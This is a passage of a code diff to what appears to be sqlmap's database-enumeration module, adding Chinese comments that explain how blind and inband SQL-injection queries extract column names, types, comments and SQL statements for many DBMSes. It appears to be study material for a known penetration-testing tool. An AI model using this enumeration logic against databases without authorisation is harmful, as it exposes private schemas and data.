kb.data.cachedColumns[conf.db]} - - infoMsg = "fetching columns " - condQuery = "" - - if len(colList) > 0: - if colTuple: - _, colCondParam = colTuple - infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - else: - colCondParam = "='%s'" - infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - - condQueryStr = "%%s%s" % colCondParam - condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): - query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - query += condQuery - - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): - query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) - query += condQuery - - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - query += condQuery.replace("[DB]", conf.db) - - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) - query += condQuery - - elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) - query += condQuery - - elif Backend.isDbms(DBMS.SQLITE): - if dumpMode and colList: - if conf.db not in kb.data.cachedColumns: - kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) - else: - query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - parseSqliteTableSchema(unArrayizeValue(value)) - - return kb.data.cachedColumns - + parseSqliteTableSchema(unArrayizeValue(values)) + # 75. 如果不是 SQLITE 且 获取到值 + elif not isNoneValue(values): table = {} columns = {} - if dumpMode and colList: - count = 0 - for value in colList: - columns[safeSQLIdentificatorNaming(value)] = None + # 76. 遍历获取到的列信息 + for columnData in values: + # 77. 如果列信息不为空 + if not isNoneValue(columnData): + # 78. 将列信息进行安全处理 + columnData = [unArrayizeValue(_) for _ in columnData] + name = safeSQLIdentificatorNaming(columnData[0]) + + # 79. 如果列名称不为空 + if name: + # 80. 如果需要获取列注释 + if conf.getComments: + # 获取列注释的 SQL 语句 + _ = queries[Backend.getIdentifiedDbms()].column_comment + # 如果有查询语句 + if hasattr(_, "query"): + # 如果是 ORACLE, DB2, DERBY, ALTIBASE 等数据库,则使用大写表名 + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) + # 否则使用小写表名 + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) + # 执行查询,获取列注释 + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + # 如果获取到列注释,则输出日志 + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) + logger.info(infoMsg) + # 如果不支持获取列注释,则给出提示 + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + # 81. 如果列信息只有列名称,则将列类型设置为 None + if len(columnData) == 1: + columns[name] = None + # 82. 否则获取列类型 + else: + key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] + # 83. 根据不同的数据库类型获取列类型 + if Backend.isDbms(DBMS.FIREBIRD): + columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + columnData[1] = INFORMIX_TYPES.get(key, columnData[1]) + if notNull: + columnData[1] = "%s NOT NULL" % columnData[1] + + columns[name] = columnData[1] + + # 84. 将列信息添加到缓存 + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: - infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.info(infoMsg) + table[safeSQLIdentificatorNaming(tbl, True)] = columns + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + elif isInferenceAvailable() and not conf.direct: + # 1. 如果可以使用推理攻击,且不是直接模式 + for tbl in tblList: + # 2. 遍历表列表 + if conf.db is not None and len(kb.data.cachedColumns) > 0 \ + and conf.db in kb.data.cachedColumns and tbl in \ + kb.data.cachedColumns[conf.db]: + # 3. 如果已经缓存了该表的信息,则直接返回 + infoMsg = "fetched table columns from " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + return {conf.db: kb.data.cachedColumns[conf.db]} + + # 4. 输出日志信息 + infoMsg = "fetching columns " + condQuery = "" + + # 5. 如果指定了列 + if len(colList) > 0: + # 6. 如果指定了列和条件元组,则使用 LIKE 操作符 + if colTuple: + _, colCondParam = colTuple + infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + # 7. 否则使用等于操作符 + else: + colCondParam = "='%s'" + infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) - if not isNumPosStrValue(count): - if Backend.isDbms(DBMS.MSSQL): - count, index, values = 0, 1, [] - while True: - query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 8. 构造条件查询字符串 + condQueryStr = "%%s%s" % colCondParam + condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if isNoneValue(value) or value == " ": - break - else: - columns[safeSQLIdentificatorNaming(value)] = None - index += 1 - - if not columns: - errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") - errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.error(errMsg) - continue - - for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + # 9. 根据不同的数据库类型构造查询语句 + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - field = None - elif Backend.isDbms(DBMS.H2): - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) - field = None - elif Backend.isDbms(DBMS.MIMERSQL): - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) - query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) - field = None - elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): - query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) - field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery - field = None + elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) + query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) - field = condition.replace("[DB]", conf.db) + elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) query += condQuery - field = None + elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery - field = condition - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + elif Backend.isDbms(DBMS.SQLITE): + # 10. 如果是 SQLITE + if dumpMode and colList: + # 11. 如果是转储模式,且指定了列,则将列添加到缓存 + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + # 12. 否则执行查询,并解析 SQLITE 表结构 + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + parseSqliteTableSchema(unArrayizeValue(value)) + # 13. 返回缓存的列信息 + return kb.data.cachedColumns - if not isNoneValue(column): - if conf.getComments: - _ = queries[Backend.getIdentifiedDbms()].column_comment - if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) - else: - query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) + table = {} + columns = {} - comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(comment): - infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) - logger.info(infoMsg) + # 14. 如果是转储模式,且指定了列,则只添加列名称 + if dumpMode and colList: + count = 0 + for value in colList: + columns[safeSQLIdentificatorNaming(value)] = None + # 15. 否则,输出日志信息,并获取列数量 + else: + infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # 16. 如果无法获取列数量,则尝试使用 MSSQL 的分页查询 + if not isNumPosStrValue(count): + if Backend.isDbms(DBMS.MSSQL): + count, index, values = 0, 1, [] + while True: + query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 17. 如果没有获取到值 或者 值为空格,则跳出循环 + if isNoneValue(value) or value == " ": + break + # 18. 否则,将列添加到列字典中 + else: + columns[safeSQLIdentificatorNaming(value)] = None + index += 1 + # 19. 如果仍然没有获取到列,则输出错误信息,并继续下一个表 + if not columns: + errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") + errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX not in conf.db: + errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.error(errMsg) + continue + # 20. 遍历索引范围 + for index in getLimitRange(count): + # 21. 根据不同的数据库类型构造查询语句 + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + field = None + elif Backend.isDbms(DBMS.H2): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.isDbms(DBMS.MIMERSQL): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query += condQuery + field = None + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) + query += condQuery.replace("[DB]", conf.db) + field = condition.replace("[DB]", conf.db) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + query += condQuery + field = None + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + field = condition + # 22. 构造分页查询语句 + query = agent.limitQuery(index, query, field, field) + # 23. 执行查询,获取列名称 + column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 24. 如果获取到列名称 + if not isNoneValue(column): + # 25. 如果需要获取列注释 + if conf.getComments: + # 获取列注释的 SQL 语句 + _ = queries[Backend.getIdentifiedDbms()].column_comment + # 如果有查询语句 + if hasattr(_, "query"): + # 26. 如果是 ORACLE, DB2, DERBY, ALTIBASE 等数据库,则使用大写表名 + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) + # 27. 否则使用小写表名 + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) + # 28. 执行查询,获取列注释 + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 29. 如果获取到列注释,则输出日志信息 + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) + logger.info(infoMsg) + # 30. 如果不支持获取列注释,则给出提示信息 + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + # 31. 如果不需要只获取列名称,则需要获取列类型 + if not onlyColNames: + # 32. 根据不同的数据库类型构造查询语句,获取列类型 + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + + # 33. 执行查询,获取列类型 + colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 34. 如果列类型是数字,则转换为整型 + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + # 35. 根据不同的数据库类型获取列类型 + if Backend.isDbms(DBMS.FIREBIRD): + colType = FIREBIRD_TYPES.get(key, colType) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + colType = INFORMIX_TYPES.get(key, colType) + if notNull: + colType = "%s NOT NULL" % colType + # 36. 对列名称进行安全处理,并将列类型添加到列字典中 + column = safeSQLIdentificatorNaming(column) + columns[column] = colType + # 37. 如果只需要获取列名称,则将列类型设置为 None else: - warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() - warnMsg += "possible to get column comments" - singleTimeWarnMessage(warnMsg) - - if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): - query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): - query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) - elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) - elif Backend.isDbms(DBMS.INFORMIX): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) - elif Backend.isDbms(DBMS.MONETDB): - query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) - - colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) - key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType - - if Backend.isDbms(DBMS.FIREBIRD): - colType = FIREBIRD_TYPES.get(key, colType) - elif Backend.isDbms(DBMS.INFORMIX): - notNull = False - if isinstance(key, int) and key > 255: - key -= 256 - notNull = True - colType = INFORMIX_TYPES.get(key, colType) - if notNull: - colType = "%s NOT NULL" % colType - - column = safeSQLIdentificatorNaming(column) - columns[column] = colType + column = safeSQLIdentificatorNaming(column) + columns[column] = None + # 38. 如果获取到列信息 + if columns: + # 39. 将列信息添加到缓存 + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: - column = safeSQLIdentificatorNaming(column) - columns[column] = None - - if columns: - if conf.db in kb.data.cachedColumns: - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns - else: - table[safeSQLIdentificatorNaming(tbl, True)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table - - if not kb.data.cachedColumns: - warnMsg = "unable to retrieve column names for " - warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " - if METADB_SUFFIX not in conf.db: - warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warning(warnMsg) - - if bruteForce is None: - return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) - - return kb.data.cachedColumns - - @stackedmethod - def getSchema(self): - infoMsg = "enumerating database management system schema" - logger.info(infoMsg) - - try: - pushValue(conf.db) - pushValue(conf.tbl) - pushValue(conf.col) - - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - - self.getTables() - - infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + table[safeSQLIdentificatorNaming(tbl, True)] = columns + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + # 40. 如果没有获取到列信息 + if not kb.data.cachedColumns: + # 41. 输出警告信息 + warnMsg = "unable to retrieve column names for " + warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " + if METADB_SUFFIX not in conf.db: + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.warning(warnMsg) + # 42. 如果没有进行暴力破解,则进行暴力破解 + if bruteForce is None: + return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) + # 43. 返回缓存的列信息 + return kb.data.cachedColumns + + def getStatements(self): + # 1. 输出信息,开始获取 SQL 语句 + infoMsg = "fetching SQL statements" logger.info(infoMsg) - for db, tables in kb.data.cachedTables.items(): - for tbl in tables: - conf.db = db - conf.tbl = tbl - - self.getColumns() - finally: - conf.col = popValue() - conf.tbl = popValue() - conf.db = popValue() - - return kb.data.cachedColumns - - def _tableGetCount(self, db, table): - if not db or not table: - return None - - if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - db = db.upper() - table = table.upper() - - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): - query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) - else: - query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) - - query = agent.whereQuery(query) - count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if isNumPosStrValue(count): - if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: - kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} - - if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: - kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) - else: - kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] + # 2. 获取 SQL 语句的根 + rootQuery = queries[Backend.getIdentifiedDbms()].statements - def getCount(self): - if not conf.tbl: - warnMsg = "missing table parameter, sqlmap will retrieve " - warnMsg += "the number of entries for all database " - warnMsg += "management system databases' tables" - logger.warning(warnMsg) - - elif "." in conf.tbl: - if not conf.db: - conf.db, conf.tbl = conf.tbl.split('.', 1) - - if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): - warnMsg = "missing database parameter. sqlmap is going to " - warnMsg += "use the current database to retrieve the " - warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) - logger.warning(warnMsg) + # 3. 如果可以使用联合查询,错误查询或者直接模式 + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + # 4. 根据数据库类型构造查询语句 + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + # 5. 循环执行查询,获取 SQL 语句 + while True: + values = inject.getValue(query, blind=False, time=False) + # 6. 如果获取到值 + if not isNoneValue(values): + kb.data.cachedStatements = [] + # 7. 遍历获取到的值,清理空格,添加到缓存 + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedStatements.append(value.strip()) + # 8. 如果是 PGSQL,且没有使用 current_query,则替换为 current_query 并继续 + elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: + query = query.replace("query", "current_query") + continue - conf.db = self.getCurrentDb() + break - self.forceDbmsEnum() + # 9. 如果没有获取到 SQL 语句,且可以使用推理攻击 + if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of statements" + logger.info(infoMsg) - if conf.tbl: - for table in conf.tbl.split(','): - self._tableGetCount(conf.db, table) - else: - self.getTables() + # 10. 获取 SQL 语句的数量 + query = rootQuery.blind.count - for db, tables in kb.data.cachedTables.items(): - for table in tables: - self._tableGetCount(db, table) + # 11. 如果是 Drizzle 分支,则替换 INFORMATION_SCHEMA + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) - return kb.data.cachedCounts + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - def getStatements(self): - infoMsg = "fetching SQL statements" - logger.info(infoMsg) + # 12. 如果 SQL 语句数量为 0,则返回空列表 + if count == 0: + return kb.data.cachedStatements + # 13. 如果无法获取 SQL 语句数量,则抛出异常 + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of statements" + raise SqlmapNoneDataException(errMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].statements + # 14. 设置循环次数的范围 + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + # 15. 循环获取 SQL 语句 + for index in indexRange: + value = None + # 16. 处理 MySQL 多进程的情况 + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes + query = rootQuery.blind.query3 % index + identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if not isNoneValue(identifier): + query = rootQuery.blind.query2 % identifier + value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + # 17. 如果无法获取则执行普通查询 + if isNoneValue(value): + query = rootQuery.blind.query % index - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - query = rootQuery.inband.query2 + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + # 18. 执行查询 + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 19. 添加到缓存 + if not isNoneValue(value): + kb.data.cachedStatements.append(value) + + # 20. 如果没有获取到任何 SQL 语句 + if not kb.data.cachedStatements: + errMsg = "unable to retrieve the statements" + logger.error(errMsg) + # 21. 替换缓存中的 payload 标记 else: - query = rootQuery.inband.query - - while True: - values = inject.getValue(query, blind=False, time=False) - - if not isNoneValue(values): - kb.data.cachedStatements = [] - for value in arrayizeValue(values): - value = (unArrayizeValue(value) or "").strip() - if not isNoneValue(value): - 